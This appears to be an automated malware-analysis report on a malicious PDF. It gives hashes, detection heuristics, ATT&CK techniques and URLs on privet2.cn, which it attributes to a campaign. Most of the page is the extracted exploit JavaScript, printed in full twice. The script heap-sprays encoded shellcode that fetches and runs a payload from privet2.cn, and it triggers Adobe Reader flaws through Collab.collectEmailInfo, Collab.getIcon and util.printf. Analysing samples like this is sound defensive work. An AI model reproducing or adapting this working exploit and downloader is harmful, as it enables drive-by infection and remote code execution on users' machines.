Malicious PDF — malware analysis report

Static analysis result for SHA-256 387b78930519c248…

MALICIOUS

PDF

7.5 KB First seen: 2013-02-09
MD5: 2d49255e6b29f2433e7d717fa78cd52c SHA-1: e2a4dde403acf7bc7162d54cf9609023639d0550 SHA-256: 387b78930519c248fd860464b7c7f802c696da9fcd099cd9aa0be03245be97e2
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.002 Spearphishing Attachment

The PDF sample contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The critical CVE_2007_5659 heuristic specifically points to the use of Collab.collectEmailInfo, a known method for exploiting vulnerabilities in older PDF readers. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript, identified as 'javascript_obj0009_000.js', is likely responsible for downloading and executing a secondary payload, which is a common attack vector for this type of document.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
         var TWjvdW1otBCxsWLz6SzDF = 0x0c0c0c0c;
     var AwI3UvrGhsyDctq0uf36s =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB …
   }
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://privet2.cn/arend_nt/getexe.php?spl=pdf_email Referenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexe.php?spl=pdf_prntfReferenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexe.php?spl=pdf_icnReferenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexeReferenced by PDF JavaScript
🗂 Part of campaign: privet2.cn 16 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 6175 bytes
SHA-256: 8b984a69e4f20462c909b9547720d63b23b97eb046f8064d3fe58073729869f0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 21 of 42 identifiers look randomly generated (e.g. 'fcEQgviIMStQZK88lce7Z') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var dZObWExKzA4MtQn1TO8Tz = new Array();
 var yDDiLAj15zzdNaAbYVbiY;
 var lave = eval;
 function MbzlbSAiw0H0M1VWkWajV(B87PieuKMTIyS4ZvDIrNa, jjbXGL5r6Z7CgVvLQFitY)
 {
   while(B87PieuKMTIyS4ZvDIrNa.length * 2 < jjbXGL5r6Z7CgVvLQFitY)
   {
     B87PieuKMTIyS4ZvDIrNa += B87PieuKMTIyS4ZvDIrNa;
   }
   B87PieuKMTIyS4ZvDIrNa = B87PieuKMTIyS4ZvDIrNa.substring(0, jjbXGL5r6Z7CgVvLQFitY / 2);
   return B87PieuKMTIyS4ZvDIrNa;
 }
 function UMbGIpZ0C0BwkjD7n5BMA(l4gJO8Z718nNj4fYcpll1)
 {
   if(l4gJO8Z718nNj4fYcpll1 == 0)
   {
     var TWjvdW1otBCxsWLz6SzDF = 0x0c0c0c0c;
     var AwI3UvrGhsyDctq0uf36s =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(l4gJO8Z718nNj4fYcpll1 == 1)
   {
     TWjvdW1otBCxsWLz6SzDF = 0x30303030;
     var AwI3UvrGhsyDctq0uf36s =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(l4gJO8Z718nNj4fYcpll1 == 2)
   {
     var AwI3UvrGhsyDctq0uf36s =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var KyOMxUoxh4KdMM9HEOz7M = 0x400000;
   var riG4rBjuHbvF1HCU60C0U = AwI3UvrGhsyDctq0uf36s.length * 2;
   var jjbXGL5r6Z7CgVvLQFitY = KyOMxUoxh4KdMM9HEOz7M - (riG4rBjuHbvF1HCU60C0U + 0x38);
   var B87PieuKMTIyS4ZvDIrNa = unescape("%u9090%u9090");
   B87PieuKMTIyS4ZvDIrNa = MbzlbSAiw0H0M1VWkWajV(B87PieuKMTIyS4ZvDIrNa, jjbXGL5r6Z7CgVvLQFitY);
   var lWqyo6NnCk1u15mCnhTOc = (TWjvdW1otBCxsWLz6SzDF - 0x400000) / KyOMxUoxh4KdMM9HEOz7M;
   for(var fPuuuz570YwgPvUUJHg4I = 0; fPuuuz570YwgPvUUJHg4I < lWqyo6NnCk1u15mCnhTOc; fPuuuz570YwgPvUUJHg4I++)
   {
     dZObWExKzA4MtQn1TO8Tz[fPuuuz570YwgPvUUJHg4I] = B87PieuKMTIyS4ZvDIrNa + AwI3UvrGhsyDctq0uf36s;
   }
 }
 function Y5MOG07jYjSxdMrdRymzv()
 {
   var ePrxtAFaDXCHuaY4hHcQk = 0;
   var t57RhYQUXLxwCuqMAQaid = app.viewerVersion.toString();
   app.clearTimeOut(yDDiLAj15zzdNaAbYVbiY);
   if((t57RhYQUXLxwCuqMAQaid >= 8 && t57RhYQUXLxwCuqMAQaid < 8.102) || t57RhYQUXLxwCuqMAQaid < 7.1)
   {
     UMbGIpZ0C0BwkjD7n5BMA(0);
     var fcEQgviIMStQZK88lce7Z = unescape("%u0c0c%u0c0c");
     while(fcEQgviIMStQZK88lce7Z.length < 44952) fcEQgviIMStQZK88lce7Z += fcEQgviIMStQZK88lce7Z;
     var XIUSfetFMW8zkXffGy2ir = this;
     var OHCZOxB44lfMF82u1HHXO = Collab;
     XIUSfetFMW8zkXffGy2ir["collabStore"] = OHCZOxB44lfMF82u1HHXO["collectEmailInfo"](
     {
       subj : "", msg : fcEQgviIMStQZK88lce7Z
     }
     );
   }
   if((t57RhYQUXLxwCuqMAQaid >= 8.102 && t57RhYQUXLxwCuqMAQaid < 8.104) || (t57RhYQUXLxwCuqMAQaid >= 9 && t57RhYQUXLxwCuqMAQaid < 9.1) || t57RhYQUXLxwCuqMAQaid <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         UMbGIpZ0C0BwkjD7n5BMA(2);
         var THwwxCvzvnRCz1bxCf2yK = unescape("%09");
         while(THwwxCvzvnRCz1bxCf2yK.length < 0x4000)
         {
           THwwxCvzvnRCz1bxCf2yK += THwwxCvzvnRCz1bxCf2yK;
         }
         THwwxCvzvnRCz1bxCf2yK = "N." + THwwxCvzvnRCz1bxCf2yK;
         var UESP9ThQ17hH3eFFaEANf = app;
         UESP9ThQ17hH3eFFaEANf["doc"]["Collab"]["getIcon"](THwwxCvzvnRCz1bxCf2yK);
         ePrxtAFaDXCHuaY4hHcQk = 1;
       }
       else
       {
         ePrxtAFaDXCHuaY4hHcQk = 1;
       }
     }
     catch(e)
     {
       ePrxtAFaDXCHuaY4hHcQk = 1;
     }
     if(ePrxtAFaDXCHuaY4hHcQk == 1)
     {
       if(t57RhYQUXLxwCuqMAQaid == 8.102 || t57RhYQUXLxwCuqMAQaid == 7.1)
       {
         UMbGIpZ0C0BwkjD7n5BMA(1);
         var MMgzKsfLr1i6S9EwpfwvN = "12999999999999999999";
         for(uy2TDchOzNmM4mgwR2nRk = 0; uy2TDchOzNmM4mgwR2nRk < 276; uy2TDchOzNmM4mgwR2nRk++)
         {
           MMgzKsfLr1i6S9EwpfwvN += "8";
         }
         var Ius8qimmd02cBUqnCFnZ3 = util;
         Ius8qimmd02cBUqnCFnZ3["printf"]("%45000f", MMgzKsfLr1i6S9EwpfwvN);
       }
     }
   }
}
 app.ZdoqZGsNhcGcVNSEAFsJG = Y5MOG07jYjSxdMrdRymzv;
 yDDiLAj15zzdNaAbYVbiY = app.setTimeOut("app.ZdoqZGsNhcGcVNSEAFsJG()", 1);
javascript_obj0009_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: 53b3e4c7a38345353f3fa1ae4b7ff52d402e922a3c928c5080347dbe2dec1883
javascript_obj0009_000_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: d3ec852c1d2decd4c16deaf172efa38de6b4ff01d8134aa8e996f13f2df4eb41
javascript_obj0009_000_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 274 bytes
SHA-256: 12ed26cd8dd7e85424451cd7e17e925b4b010481b1a4fd61291904ff3ca0143d
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 6171 bytes
SHA-256: 316d9a9285a386833b9818f6c44ef1f4ac9033f709fcb3cee6fd51159037965b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 21 of 42 identifiers look randomly generated (e.g. 'fcEQgviIMStQZK88lce7Z') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var dZObWExKzA4MtQn1TO8Tz = new Array();
 var yDDiLAj15zzdNaAbYVbiY;
 var lave = eval;
 function MbzlbSAiw0H0M1VWkWajV(B87PieuKMTIyS4ZvDIrNa, jjbXGL5r6Z7CgVvLQFitY)
 {
   while(B87PieuKMTIyS4ZvDIrNa.length * 2 < jjbXGL5r6Z7CgVvLQFitY)
   {
     B87PieuKMTIyS4ZvDIrNa += B87PieuKMTIyS4ZvDIrNa;
   }
   B87PieuKMTIyS4ZvDIrNa = B87PieuKMTIyS4ZvDIrNa.substring(0, jjbXGL5r6Z7CgVvLQFitY / 2);
   return B87PieuKMTIyS4ZvDIrNa;
 }
 function UMbGIpZ0C0BwkjD7n5BMA(l4gJO8Z718nNj4fYcpll1)
 {
   if(l4gJO8Z718nNj4fYcpll1 == 0)
   {
     var TWjvdW1otBCxsWLz6SzDF = 0x0c0c0c0c;
     var AwI3UvrGhsyDctq0uf36s =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(l4gJO8Z718nNj4fYcpll1 == 1)
   {
     TWjvdW1otBCxsWLz6SzDF = 0x30303030;
     var AwI3UvrGhsyDctq0uf36s =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(l4gJO8Z718nNj4fYcpll1 == 2)
   {
     var AwI3UvrGhsyDctq0uf36s =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var KyOMxUoxh4KdMM9HEOz7M = 0x400000;
   var riG4rBjuHbvF1HCU60C0U = AwI3UvrGhsyDctq0uf36s.length * 2;
   var jjbXGL5r6Z7CgVvLQFitY = KyOMxUoxh4KdMM9HEOz7M - (riG4rBjuHbvF1HCU60C0U + 0x38);
   var B87PieuKMTIyS4ZvDIrNa = unescape("%u9090%u9090");
   B87PieuKMTIyS4ZvDIrNa = MbzlbSAiw0H0M1VWkWajV(B87PieuKMTIyS4ZvDIrNa, jjbXGL5r6Z7CgVvLQFitY);
   var lWqyo6NnCk1u15mCnhTOc = (TWjvdW1otBCxsWLz6SzDF - 0x400000) / KyOMxUoxh4KdMM9HEOz7M;
   for(var fPuuuz570YwgPvUUJHg4I = 0; fPuuuz570YwgPvUUJHg4I < lWqyo6NnCk1u15mCnhTOc; fPuuuz570YwgPvUUJHg4I++)
   {
     dZObWExKzA4MtQn1TO8Tz[fPuuuz570YwgPvUUJHg4I] = B87PieuKMTIyS4ZvDIrNa + AwI3UvrGhsyDctq0uf36s;
   }
 }
 function Y5MOG07jYjSxdMrdRymzv()
 {
   var ePrxtAFaDXCHuaY4hHcQk = 0;
   var t57RhYQUXLxwCuqMAQaid = app.viewerVersion.toString();
   app.clearTimeOut(yDDiLAj15zzdNaAbYVbiY);
   if((t57RhYQUXLxwCuqMAQaid >= 8 && t57RhYQUXLxwCuqMAQaid < 8.102) || t57RhYQUXLxwCuqMAQaid < 7.1)
   {
     UMbGIpZ0C0BwkjD7n5BMA(0);
     var fcEQgviIMStQZK88lce7Z = unescape("%u0c0c%u0c0c");
     while(fcEQgviIMStQZK88lce7Z.length < 44952) fcEQgviIMStQZK88lce7Z += fcEQgviIMStQZK88lce7Z;
     var XIUSfetFMW8zkXffGy2ir = this;
     var OHCZOxB44lfMF82u1HHXO = Collab;
     XIUSfetFMW8zkXffGy2ir["collabStore"] = OHCZOxB44lfMF82u1HHXO["collectEmailInfo"](
     {
       subj : "", msg : fcEQgviIMStQZK88lce7Z
     }
     );
   }
   if((t57RhYQUXLxwCuqMAQaid >= 8.102 && t57RhYQUXLxwCuqMAQaid < 8.104) || (t57RhYQUXLxwCuqMAQaid >= 9 && t57RhYQUXLxwCuqMAQaid < 9.1) || t57RhYQUXLxwCuqMAQaid <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         UMbGIpZ0C0BwkjD7n5BMA(2);
         var THwwxCvzvnRCz1bxCf2yK = unescape("	");
         while(THwwxCvzvnRCz1bxCf2yK.length < 0x4000)
         {
           THwwxCvzvnRCz1bxCf2yK += THwwxCvzvnRCz1bxCf2yK;
         }
         THwwxCvzvnRCz1bxCf2yK = "N." + THwwxCvzvnRCz1bxCf2yK;
         var UESP9ThQ17hH3eFFaEANf = app;
         UESP9ThQ17hH3eFFaEANf["doc"]["Collab"]["getIcon"](THwwxCvzvnRCz1bxCf2yK);
         ePrxtAFaDXCHuaY4hHcQk = 1;
       }
       else
       {
         ePrxtAFaDXCHuaY4hHcQk = 1;
       }
     }
     catch(e)
     {
       ePrxtAFaDXCHuaY4hHcQk = 1;
     }
     if(ePrxtAFaDXCHuaY4hHcQk == 1)
     {
       if(t57RhYQUXLxwCuqMAQaid == 8.102 || t57RhYQUXLxwCuqMAQaid == 7.1)
       {
         UMbGIpZ0C0BwkjD7n5BMA(1);
         var MMgzKsfLr1i6S9EwpfwvN = "12999999999999999999";
         for(uy2TDchOzNmM4mgwR2nRk = 0; uy2TDchOzNmM4mgwR2nRk < 276; uy2TDchOzNmM4mgwR2nRk++)
         {
           MMgzKsfLr1i6S9EwpfwvN += "8";
         }
         var Ius8qimmd02cBUqnCFnZ3 = util;
         Ius8qimmd02cBUqnCFnZ3["printf"]("E000f", MMgzKsfLr1i6S9EwpfwvN);
       }
     }
   }
}
 app.ZdoqZGsNhcGcVNSEAFsJG = Y5MOG07jYjSxdMrdRymzv;
 yDDiLAj15zzdNaAbYVbiY = app.setTimeOut("app.ZdoqZGsNhcGcVNSEAFsJG()", 1);

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